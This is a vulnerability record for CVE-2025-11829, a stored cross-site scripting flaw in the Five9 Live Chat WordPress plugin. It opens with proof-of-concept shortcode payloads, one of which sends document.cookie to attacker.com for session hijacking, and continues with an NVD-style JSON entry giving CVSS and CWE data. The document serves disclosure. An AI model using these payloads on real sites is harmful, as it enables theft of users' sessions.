CVE-2025-11829

<!-- CVE-2025-11829 PoC: Stored XSS via Five9 Live Chat shortcode --> <!-- Attacker with contributor+ role injects malicious shortcode --> [five9-chat toolbar='" onmouseover="alert(document.cookie)" x="'] <!-- Alternative PoC with img tag XSS --> [five9-chat toolbar='<img src=x onerror=alert(String.fromCharCode(88,83,83))>'] <!-- More sophisticated PoC for session hijacking --> [five9-chat toolbar='<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>']

{"cve": {"id": "CVE-2025-11829", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:42.770", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Five9 Live Chat plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'toolbar' attribute of the [five9-chat] shortcode in all versions up to, and including, 1.1.2. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/five9/tags/1.1.2/includes/class-widget.php#L151", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/28548108-a004-4aeb-a0ad-269a73a71331?source=cve", "source": "[email protected]"}]}}